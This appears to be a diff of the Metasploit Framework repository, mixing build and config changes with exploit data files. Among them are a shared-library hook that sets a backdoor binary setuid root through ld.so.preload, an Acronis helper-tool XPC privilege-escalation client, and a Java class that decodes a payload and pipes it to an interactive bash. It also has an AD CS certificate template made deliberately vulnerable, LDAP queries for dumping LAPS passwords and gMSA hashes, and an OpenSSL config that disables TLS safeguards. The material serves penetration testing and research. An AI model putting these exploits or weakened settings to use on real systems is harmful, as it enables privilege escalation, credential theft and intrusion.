@@ -1,4 +1,4 @@
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Maintainability](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/maintainability)](https://codeclimate.com/github/rapid7/metasploit-framework/maintainability) [![Test Coverage](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/test_coverage)](https://codeclimate.com/github/rapid7/metasploit-framework/test_coverage) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
Metasploit [![Maintainability](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/maintainability)](https://codeclimate.com/github/rapid7/metasploit-framework/maintainability) [![Test Coverage](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/test_coverage)](https://codeclimate.com/github/rapid7/metasploit-framework/test_coverage) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
==
The Metasploit Framework is released under a BSD-style license. See
[COPYING](COPYING) for more details.
+1
View File
@@ -0,0 +1 @@
This directory contains ActiveRecord concerns, models and validators.
+3
View File
@@ -0,0 +1,3 @@
Contains various files that help configure Metasploit. Most files here you'll never have to deal with, though
`database.yml.example` might be useful for those looking to configure their database, and `openssl.conf`
might be helpful for those trying to troubleshoot OpenSSL issues in Metasploit.
+5 -1
View File
@@ -47,7 +47,11 @@ module Metasploit
when "test"
config.eager_load = false
when "production"
config.eager_load = true
config.eager_load = false
end
if ActiveRecord.respond_to?(:legacy_connection_handling=)
ActiveRecord.legacy_connection_handling = false
end
end
end
+61
View File
@@ -38,3 +38,64 @@ lib_path = root.join('lib').to_path
unless $LOAD_PATH.include? lib_path
$LOAD_PATH.unshift lib_path
end
require 'digest'
require 'metasploit/framework/version'
require 'msf/base/config'
# Invalidate and delete the bootsnap cache if required. For instance if the metasploit-framework version has changed.
#
# @param [Hash] bootsnap_config See https://github.com/Shopify/bootsnap/blob/95e8d170aea99a831fd484ce09ad2f195644e740/lib/bootsnap.rb#L38
# @return [void]
def invalidate_bootsnap_cache!(bootsnap_config)
expected_cache_metadata = {
'metasploit_framework_version' => Metasploit::Framework::Version::VERSION,
'ruby_description' => RUBY_DESCRIPTION,
'bundler_lockfile_hash' => Digest::MD5.hexdigest(Bundler.read_file(Bundler.default_lockfile)),
'bootsnap_config' => {
'load_path_cache' => bootsnap_config[:load_path_cache],
'compile_cache_iseq' => bootsnap_config[:compile_cache_iseq],
'compile_cache_yaml' => bootsnap_config[:compile_cache_yaml],
}
}
cache_metadata_path = File.join(bootsnap_config[:cache_dir], "metadata.yaml")
if File.exist?(cache_metadata_path)
cache_metadata = YAML.safe_load(File.binread(cache_metadata_path))
if cache_metadata != expected_cache_metadata
FileUtils.rm_rf(bootsnap_config[:cache_dir], secure: true)
end
end
FileUtils.mkdir_p(bootsnap_config[:cache_dir])
File.binwrite(cache_metadata_path, expected_cache_metadata.to_yaml)
nil
end
# Attempt to use bootsnap caching for improved startup time
begin
require 'bootsnap'
env = ENV['RAILS_ENV'] || ENV['RACK_ENV'] || ENV['ENV']
development_mode = ['', nil, 'development'].include?(env)
cache_dir = ::File.join(Msf::Config.config_directory, "bootsnap_cache")
bootsnap_config = {
cache_dir: cache_dir,
ignore_directories: [],
development_mode: development_mode,
load_path_cache: true, # Optimize the LOAD_PATH with a cache
compile_cache_iseq: false, # Don't compile Ruby code into ISeq cache, breaks coverage reporting.
compile_cache_yaml: false, # Don't compile YAML into a cache
readonly: false, # Update caches - https://github.com/Shopify/bootsnap/commit/b51397f96c33aa421fd5c29484fb9574df9eb451
}
invalidate_bootsnap_cache!(bootsnap_config)
Bootsnap.setup(**bootsnap_config)
rescue => e
$stderr.puts "Warning: Failed bootsnap cache setup - #{e.class} #{e} #{e.backtrace}"
begin
FileUtils.rm_rf(cache_dir, secure: true)
rescue
$stderr.puts 'Warning: Failed deleting bootsnap cache'
end
end
+9
View File
@@ -2,6 +2,7 @@ openssl_conf = openssl_init
[openssl_init]
providers = provider_sect
ssl_conf = ssl_sect
[provider_sect]
default = default_sect
@@ -12,3 +13,11 @@ activate = 1
[legacy_sect]
activate = 1
[ssl_sect]
system_default = system_default_sect
[system_default_sect]
MinProtocol = SSLv3
CipherString = ALL:@SECLEVEL=0
Options = UnsafeLegacyRenegotiation
+7
View File
@@ -0,0 +1,7 @@
This folder contains various data files used for a variety of purposes, including but not limited to banners for the
console, exploit source code for exploits (under `data/exploits`), template code and binaries, wordlists and shellcode.
As a general rule of thumb this folder will most often be used when you are using compiled binaries or source code from
other exploits for cases such as local privilege escalation exploits and need to provide the exploit code and compiled
binaries so that maintainers can verify the binary and compile it themselves, as so that modules can find the R7 compiled
version of the resulting binary for use during exploitation.
@@ -0,0 +1,27 @@
---
# Creates a template that will be vulnerable to ESC 1 (subject name supplied in
# the request). Fields are based on the SubCA template. For field descriptions,
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
showInAdvancedViewOnly: 'TRUE'
# this security descriptor grants all permissions to all authenticated users
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
flags: 0
pKIDefaultKeySpec: 2
pKIKeyUsage: !binary |-
hgA=
pKIMaxIssuingDepth: -1
pKICriticalExtensions:
- 2.5.29.19
- 2.5.29.15
pKIExpirationPeriod: !binary |-
AEAepOhl+v8=
pKIOverlapPeriod: !binary |-
AICmCv/e//8=
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
msPKI-RA-Signature: 0
msPKI-Enrollment-Flag: 0
# CT_FLAG_EXPORTABLE_KEY
msPKI-Private-Key-Flag: 0x10
# CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
msPKI-Certificate-Name-Flag: 1
msPKI-Minimal-Key-Size: 2048
@@ -1,7 +1,36 @@
---
queries:
- action: ENUM_ADCS_CAS
description: 'Enumerate ADCS certificate authorities.'
- action: ENUM_ACCOUNTS
description: 'Dump info about all known user accounts in the domain.'
filter: '(|(objectClass=organizationalPerson)(sAMAccountType=805306368)(objectcategory=user)(objectClass=user))'
attributes:
- dn
- name
- description
- displayName
- sAMAccountName
- objectSID
- userPrincipalName
- userAccountControl
- homeDirectory
- homeDrive
- profilePath
- memberof
- lastLogoff
- lastLogon
- lastLogonDate
- logonCount
- badPwdCount
- pwdLastSet
- SmartcardLogonRequired
- LastBadPasswordAttempt
- PasswordLastSet
- PaswordNeverExpires
references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- https://adsecurity.org/wp-content/uploads/2016/08/DEFCON24-2016-Metcalf-BeyondTheMCSE-RedTeamingActiveDirectory.pdf
- action: ENUM_AD_CS_CAS
description: 'Enumerate AD Certificate Service certificate authorities.'
base_dn_prefix: 'CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration'
filter: '(objectClass=pKIEnrollmentService)'
attributes:
@@ -10,57 +39,122 @@ queries:
- cACertificateDN
- dNSHostname
- certificateTemplates
- action: ENUM_ADCS_CERT_TEMPLATES
description: 'Enumerate ADCS certificate templates.'
- objectGUID
- caCertificate
references:
- https://aaroneg.com/post/2018-05-15-enterprise-ca/
- action: ENUM_AD_CS_CERT_TEMPLATES
description: 'Enumerate AD Certificate Service certificate templates.'
base_dn_prefix: 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration'
filter: '(objectClass=pkicertificatetemplate)'
attributes:
- cn
- name
- displayName
- msPKI-Cert-Template-OID
- msPKI-Template-Schema-Version
- msPKI-Enrollment-Flag
- msPKI-Private-Key-Flag
- msPKI-Certificate-Name-Flag
- msPKI-Private-Key-Flag
- msPKI-RA-Signature
- pKIExtendedKeyUsage
- action: ENUM_ALL_OBJECT_CLASS
description: 'Dump all objects containing any objectClass field.'
filter: '(objectClass=*)'
references:
- https://web.archive.org/web/20220818094600if_/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf
- action: ENUM_ADMIN_OBJECTS
description: 'Dump info about all objects with protected ACLs (i.e highly privileged objects).'
filter: '(adminCount=1)'
attributes:
- dn
- objectClass
- description
- distinguishedName
- name
- samAccountName
- objectSID
- objectGUID
- objectCategory
- member
- memberof
references:
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
- action: ENUM_ALL_OBJECT_CATEGORY
description: 'Dump all objects containing any objectCategory field.'
filter: '(objectCategory=*)'
attributes:
- dn
- objectCategory
- action: ENUM_ACCOUNTS
description: 'Dump info about all known user accounts in the domain.'
filter: '(|(objectClass=organizationalPerson)(sAMAccountType=805306368))'
- action: ENUM_ALL_OBJECT_CLASS
description: 'Dump all objects containing any objectClass field.'
filter: '(objectClass=*)'
attributes:
- dn
- objectClass
- action: ENUM_COMPUTERS
description: 'Dump all objects containing an objectCategory or objectClass of Computer.'
filter: '(|(objectCategory=computer)(objectClass=computer))'
attributes:
- dn
- name
- description
- displayName
- samAccountName
- userPrincipalName
- userAccountControl
- homeDirectory
- homeDrive
- profilePath
- action: ENUM_COMPUTERS
description: 'Dump all objects containing an objectCategory of Computer.'
filter: '(objectCategory=Computer)'
attributes:
- dn
- displayName
- sAMAccountName
- objectSID
- distinguishedName
- dNSHostName
- description
- givenName
- name
- operatingSystem
- operatingSystemVersion
- operatingSystemServicePack
- lastLogonTimestamp
- servicePrincipalName
- primaryGroupId
references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- https://adsecurity.org/wp-content/uploads/2016/08/DEFCON24-2016-Metcalf-BeyondTheMCSE-RedTeamingActiveDirectory.pdf
- action: ENUM_CONSTRAINED_DELEGATION
description: 'Dump info about all known objects that allow contrained delegation.'
filter: '(userAccountControl:1.2.840.113556.1.4.803:=16777216)'
attributes:
- cn
- sAMAccountName
- objectCategory
- msds-allowedtodelegateto
- servicePrincipalName
references:
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation
- action: ENUM_DNS_RECORDS
description: 'Dump info about DNS records the server knows about using the dnsNode object class.'
filter: '(objectClass=dnsNode)'
attributes:
- dc
- cn
- dnsRecord
- dnsTombstoned
- name
references:
- https://www.netspi.com/blog/technical/network-penetration-testing/exploiting-adidns/
- https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py
- action: ENUM_DNS_ZONES
description: 'Dump info about DNS zones the server knows about using the dnsZone object class under the DC DomainDnsZones. This is needed as without this BASEDN prefix we often miss certain entries.'
filter: '(objectClass=dnsZone)'
base_dn_prefix: 'DC=DomainDnsZones'
attributes:
- name
- distinguishedName
references:
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
- action: ENUM_DOMAIN
description: 'Dump info about the Active Directory domain.'
filter: '(objectClass=domain)'
attributes:
- ms-DS-MachineAccountQuota
- objectSID
- name
- lockoutduration
- lockoutthreshold
- minpwdage
- maxpwdage
- minpwdlength
- action: ENUM_DOMAIN_CONTROLLERS
description: 'Dump all known domain controllers.'
filter: '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))'
@@ -72,8 +166,22 @@ queries:
- description
- givenName
- name
- operatingSystem
- operatingSystemVersion
- operatingSystemServicePack
references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- https://adsecurity.org/wp-content/uploads/2016/08/DEFCON24-2016-Metcalf-BeyondTheMCSE-RedTeamingActiveDirectory.pdf
- action: ENUM_EXCHANGE_RECIPIENTS
description: 'Dump info about all known Exchange recipients.'
filter: '(|(mailNickname=*)(proxyAddresses=FAX:*))'
attributes:
- dn
- mailNickname
- proxyAddresses
- name
references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- action: ENUM_EXCHANGE_SERVERS
description: 'Dump info about all known Exchange servers.'
filter: '(&(objectClass=msExchExchangeServer)(!(objectClass=msExchExchangeServerPolicy)))'
@@ -85,37 +193,182 @@ queries:
- description
- givenName
- name
- operatingSystem
- operatingSystemVersion
- operatingSystemServicePack
- action: ENUM_EXCHANGE_RECIPIENTS
description: 'Dump info about all known Exchange recipients.'
filter: '(|(mailNickname=*)(proxyAddresses=FAX:*))'
references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- https://adsecurity.org/wp-content/uploads/2016/08/DEFCON24-2016-Metcalf-BeyondTheMCSE-RedTeamingActiveDirectory.pdf
- action: ENUM_GMSA_HASHES
description: 'Dump info about GMSAs and their password hashes if available.'
filter: '(objectClass=msDS-GroupManagedServiceAccount)'
attributes:
- dn
- mailNickname
- proxyAddresses
- name
- cn
- displayName
- msDS-ManagedPassword
references:
- https://stealthbits.com/blog/securing-gmsa-passwords/
- https://o365blog.com/post/gmsa/
- https://adsecurity.org/?p=4367
- action: ENUM_GROUPS
description: 'Dump info about all known groups in the LDAP environment.'
filter: '(|(objectClass=group)(objectClass=groupOfNames)(groupType:1.2.840.113556.1.4.803:=2147483648)(objectClass=posixGroup))'
filter: '(|(objectClass=group)(objectClass=groupOfNames)(groupType:1.2.840.113556.1.4.803:=2147483648)(objectClass=posixGroup)(objectcategory=group))'
attributes:
- dn
- name
- groupType
- memberof
- action: ENUM_ORGUNITS
description: 'Dump info about all known organizational units in the LDAP environment.'
filter: '(objectClass=organizationalUnit)'
attributes:
- dn
- displayName
- cn
- name
- description
- groupType
- memberof
- member
- owner
- adminCount
- managedBy
- groupAttributes
references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- action: ENUM_GROUP_POLICY_OBJECTS
description: 'Dump info about all known Group Policy Objects (GPOs) in the LDAP environment.'
filter: '(objectClass=groupPolicyContainer)'
attributes:
- displayName
- gPCFileSysPath
- objectCategory
- objectGUID
references:
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
- action: ENUM_HOSTNAMES
description: 'Dump info about all known hostnames in the LDAP environment.'
filter: '(dnsHostName=*)'
attributes:
- dn
- name
- dnsHostName
- serverName
references:
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
- action: ENUM_LAPS_PASSWORDS
description: 'Dump info about computers that have LAPS enabled, and passwords for them if available.'
filter: '(ms-MCS-AdmPwd=*)'
attributes:
- cn
- displayName
- ms-MCS-AdmPwd
references:
- https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/ldap-ldaps
- action: ENUM_LDAP_SERVER_METADATA
description: 'Dump metadata about the setup of the domain.'
filter: '(objectClass=*)'
attributes:
- dn
- defaultNamingContext
- domainFunctionality
- forestFunctionality
- domainControllerFunctionality
- dnsHostName
references:
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
- action: ENUM_MACHINE_ACCOUNT_QUOTA
description: 'Dump the number of computer accounts a user is allowed to create in a domain.'
filter: '(objectClass=domain)'
attributes:
- ms-DS-MachineAccountQuota
references:
- https://learn.microsoft.com/en-us/windows/win32/adschema/a-ms-ds-machineaccountquota
- action: ENUM_ORGROLES
description: 'Dump info about all known organization roles in the LDAP environment.'
filter: '(objectClass=organizationalRole)'
attributes:
- dn
- displayName
- name
- description
- action: ENUM_ORGUNITS
description: 'Dump info about all known organizational units in the LDAP environment.'
filter: '(objectClass=organizationalUnit)'
attributes:
- displayName
- name
- description
references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- action: ENUM_UNCONSTRAINED_DELEGATION
description: 'Dump info about all known objects that allow uncontrained delegation.'
filter: '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
attributes:
- cn
- sAMAccountName
- objectCategory
- memberof
- member
references:
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
- action: ENUM_USER_ACCOUNT_DISABLED
description: 'Dump info about disabled user accounts.'
filter: '(userAccountControl:1.2.840.113556.1.4.803:=2)'
attributes:
- cn
- displayName
- description
- sAMAccountName
- userPrincipalName
- userAccountControl
- action: ENUM_USER_ACCOUNT_LOCKED_OUT
description: 'Dump info about locked out user accounts.'
filter: '(userAccountControl:1.2.840.113556.1.4.803:=16)'
attributes:
- cn
- displayName
- sAMAccountName
- userPrincipalName
- userAccountControl
references:
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
- action: ENUM_USER_ASREP_ROASTABLE
description: 'Dump info about all users who are configured not to require kerberos pre-authentication and are therefore AS-REP roastable.'
filter: '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))'
attributes:
- cn
- displayName
- description
- sAMAccountName
- userPrincipalName
- userAccountControl
references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- https://burmat.gitbook.io/security/hacking/domain-exploitation
- action: ENUM_USER_PASSWORD_NEVER_EXPIRES
description: 'Dump info about all users whose password never expires.'
filter: '(userAccountControl:1.2.840.113556.1.4.803:=65536)'
attributes:
- cn
- displayName
- description
- sAMAccountName
- userPrincipalName
- userAccountControl
references:
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
- action: ENUM_USER_PASSWORD_NOT_REQUIRED
description: 'Dump info about all users whose password never expires and whose account is still enabled.'
filter: '(&(userAccountControl:1.2.840.113556.1.4.803:=32)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'
attributes:
- cn
- displayName
- description
- sAMAccountName
- userPrincipalName
- userAccountControl
references:
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
- action: ENUM_USER_SPNS_KERBEROAST
description: 'Dump info about all user objects with Service Principal Names (SPNs) for kerberoasting.'
filter: '(&(&(servicePrincipalName=*)(userAccountControl:1.2.840.113556.1.4.803:=512))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'
attributes:
- cn
- sAMAccountName
- servicePrincipalName
references:
- https://malicious.link/post/2022/ldapsearch-reference/
- https://burmat.gitbook.io/security/hacking/domain-exploitation
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
@@ -0,0 +1,15 @@
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
Binary file not shown.
@@ -0,0 +1,46 @@
#import <Foundation/Foundation.h>
@protocol HelperToolProtocol
- (void)checkFullDiskAccessWithReply:(void (^)(BOOL))arg1;
- (void)executeProcess:(NSString *)arg1 arguments:(NSArray *)arg2 caller:(int)arg3 withReply:(void (^)(int))arg4;
- (void)getProcessIdentifierWithReply:(void (^)(int))arg1;
@end
int main(int argc, char *argv[])
{
NSString *service_name;
NSString *payload = @"<%= @payload_path %>";
NSArray *arg_array = @[@"-c", payload];
NSFileManager *file_manager = [NSFileManager defaultManager];
NSString *service_name_2020 = @"com.acronis.trueimagehelper";
NSString *service_name_2021 = @"com.acronis.helpertool";
NSString *helper_path_2020 = [NSString stringWithFormat:@"/Library/PrivilegedHelperTools/%@", service_name_2020];
NSString *helper_path_2021 = [NSString stringWithFormat:@"/Library/PrivilegedHelperTools/%@", service_name_2021];
if ([file_manager fileExistsAtPath:helper_path_2020])
{
service_name = service_name_2020;
}
else
{
service_name = service_name_2021;
}
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
NSXPCInterface *interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError *error)
{
return;
}];
[obj executeProcess:@"<%= sys_shell %>" arguments:arg_array caller:<%= @pid %> withReply:^(int arg)
{
return;
}];
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,11 @@
import java.util.Base64;
public class PayloadRuns {
static {
try {
Runtime.getRuntime().exec("bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}");
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
+69
View File
@@ -0,0 +1,69 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Example plugin changelog</title>
<style type="text/css">
BODY {
font-size : 100%;
}
BODY, TD, TH {
font-family : tahoma, verdana, arial, helvetica, sans-serif;
font-size : 0.8em;
}
H2 {
font-size : 10pt;
font-weight : bold;
}
A:hover {
text-decoration : none;
}
H1 {
font-family : tahoma, arial, helvetica, sans-serif;
font-size : 1.4em;
font-weight: bold;
border-bottom : 1px #ccc solid;
padding-bottom : 2px;
}
TT {
font-family : courier new;
font-weight : bold;
color : #060;
}
PRE {
font-family : courier new;
font-size : 100%;
}
.events TH {
font-size: 8pt;
font-family: verdana;
font-weight: bold;
text-align: left;
background-color: #eee;
border-bottom: 1px #ccc solid;
}
.events .event {
font-weight: bold;
}
.events TD {
border-bottom: 1px #ccc dotted;
vertical-align: top;
}
</style>
</head>
<body>
<h1>
Example plugin
</h1>
<h2>Todo</h2>
<p>
Add changelog content here
</p>
</body>
</html>
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1021 B

+10
View File
@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="UTF-8"?>
<plugin>
<class>com.example.openfire.plugin.Example</class>
<name>PLUGINNAME</name>
<description>PLUGINDESCRIPTION</description>
<author>PLUGINAUTHOR</author>
<version>1.0.0</version>
<date>7/7/2008</date>
<minServerVersion>3.5.0</minServerVersion>
</plugin>
+69
View File
@@ -0,0 +1,69 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Example plugin readme</title>
<style type="text/css">
BODY {
font-size : 100%;
}
BODY, TD, TH {
font-family : tahoma, verdana, arial, helvetica, sans-serif;
font-size : 0.8em;
}
H2 {
font-size : 10pt;
font-weight : bold;
}
A:hover {
text-decoration : none;
}
H1 {
font-family : tahoma, arial, helvetica, sans-serif;
font-size : 1.4em;
font-weight: bold;
border-bottom : 1px #ccc solid;
padding-bottom : 2px;
}
TT {
font-family : courier new;
font-weight : bold;
color : #060;
}
PRE {
font-family : courier new;
font-size : 100%;
}
.events TH {
font-size: 8pt;
font-family: verdana;
font-weight: bold;
text-align: left;
background-color: #eee;
border-bottom: 1px #ccc solid;
}
.events .event {
font-weight: bold;
}
.events TD {
border-bottom: 1px #ccc dotted;
vertical-align: top;
}
</style>
</head>
<body>
<h1>
Example plugin
</h1>
<h2>Todo</h2>
<p>
Add readme content here
</p>
</body>
</html>
@@ -71,6 +71,8 @@
<B N="V"><%= arg[:value].to_s %></B>
<% elsif arg[:value].is_a? String %>
<S N="V"><%= arg[:value].encode(xml: :text) %></S>
<% elsif arg[:value].is_a? Nokogiri::XML::Element %>
<%= arg[:value].to_s %>
<% end %>
</MS>
</Obj>
@@ -8,7 +8,7 @@
</soap:Header>
<soap:Body>
<m:ResolveNames ReturnFullContactData="true" SearchScope="ActiveDirectory">
<m:UnresolvedEntry>SMTP:</m:UnresolvedEntry>
<m:UnresolvedEntry><%= name %></m:UnresolvedEntry>
</m:ResolveNames>
</soap:Body>
</soap:Envelope>
File diff suppressed because it is too large Load Diff
+9 -2
View File
@@ -15,7 +15,7 @@
<% end %>
## Module Ranking
<%# https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking %>
<%# https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html %>
**<%= items[:mod_rank_name] %>**
@@ -47,7 +47,7 @@
<% end %>
## Module Traits
<%# https://github.com/rapid7/metasploit-framework/wiki/Definition-of-Module-Reliability,-Side-Effects,-and-Stability %>
<%# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html %>
<% unless items[:mod_side_effects].empty? %>
### Side Effects
@@ -117,6 +117,13 @@
<%= normalize_pull_requests(items[:mod_pull_requests]) %>
<%- attacker_kb_references = normalize_attackerkb_references(items[:mod_refs]) %>
<% unless attacker_kb_references.empty? %>
## AttackerKB references
<%= attacker_kb_references %>
<% end %>
<% unless items[:mod_refs].empty? %>
## References
+1 -1
View File
@@ -5,4 +5,4 @@ msf <%= mod.type %>(<%= mod.shortname %>) > show options
msf <%= mod.type %>(<%= mod.shortname %>) > generate
```
To learn how to generate <%= mod.fullname %> with msfvenom, please [read this](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom).
To learn how to generate <%= mod.fullname %> with msfvenom, please [read this](https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html).
BIN
View File
Binary file not shown.
+229
View File
@@ -0,0 +1,229 @@
import copy
import struct
import sys
def chunks(lst, n):
for i in range(0, len(lst), n):
yield lst[i:i + n]
def _cw(word):
return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3]
def _s2b(text):
return list(ord(c)for c in text)
def _b2s(binary):
return "".join(chr(b)for b in binary)
if sys.version_info[0] >= 3:
xrange = range
def _s2b(text):
if isinstance(text, bytes):
return text
return [ord(c)for c in text]
def _b2s(binary):
return bytes(binary)
else:
def bytes(s, e): return s
def _gmul(a, b):
r = 0
while b:
if b & 1:
r ^= a
a <<= 1
if a > 255:
a ^= 0x11B
b >>= 1
return r
def _mix(n, vec):
return sum(_gmul(n, v) << (24 - 8 * shift) for shift, v in enumerate(vec))
def _ror32(n):
return (n & 255) << 24 | n >> 8
def _rcon():
return [_gmul(1, 1 << n) for n in range(30)]
def _Si(S):
return [S.index(n) for n in range(len(S))]
def _mixl(S, vec):
return [_mix(s, vec) for s in S]
def _rorl(T):
return [_ror32(t) for t in T]
empty = struct.pack('')
class AESCBC(object):
nrs = {16: 10, 24: 12, 32: 14}
rcon = _rcon()
S = [
99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171,
118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156,
164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241,
113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226,
235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179,
41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57,
74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127,
80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218,
33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167,
126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238,
184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211,
172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108,
86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198,
232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246,
14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217,
142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191,
230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22
]
Si = _Si(S)
T1 = _mixl(S, (2, 1, 1, 3))
T2 = _rorl(T1)
T3 = _rorl(T2)
T4 = _rorl(T3)
T5 = _mixl(Si, (14, 9, 13, 11))
T6 = _rorl(T5)
T7 = _rorl(T6)
T8 = _rorl(T7)
U1 = _mixl(range(256), (14, 9, 13, 11))
U2 = _rorl(U1)
U3 = _rorl(U2)
U4 = _rorl(U3)
def __init__(self, key):
if len(key)not in (16, 24, 32):
raise ValueError('Invalid key size')
rds = self.nrs[len(key)]
self._Ke = [[0] * 4 for i in xrange(rds + 1)]
self._Kd = [[0] * 4 for i in xrange(rds + 1)]
rnd_kc = (rds + 1) * 4
KC = len(key) // 4
tk = [struct.unpack('>i', key[i:i + 4])[0]
for i in xrange(0, len(key), 4)]
rconpointer = 0
t = KC
for i in xrange(0, KC):
self._Ke[i // 4][i % 4] = tk[i]
self._Kd[rds - (i // 4)][i % 4] = tk[i]
while t < rnd_kc:
tt = tk[KC - 1]
tk[0] ^= ((self.S[(tt >> 16) & 255] << 24) ^ (self.S[(tt >> 8) & 255] << 16) ^ (
self.S[tt & 255] << 8) ^ self.S[(tt >> 24) & 255] ^ (self.rcon[rconpointer] << 24))
rconpointer += 1
if KC != 8:
for i in xrange(1, KC):
tk[i] ^= tk[i - 1]
else:
for i in xrange(1, KC // 2):
tk[i] ^= tk[i - 1]
tt = tk[KC // 2 - 1]
tk[KC // 2] ^= (self.S[tt & 255] ^ (self.S[(tt >> 8) & 255] << 8) ^
(self.S[(tt >> 16) & 255] << 16) ^ (self.S[(tt >> 24) & 255] << 24))
for i in xrange(KC // 2 + 1, KC):
tk[i] ^= tk[i - 1]
j = 0
while j < KC and t < rnd_kc:
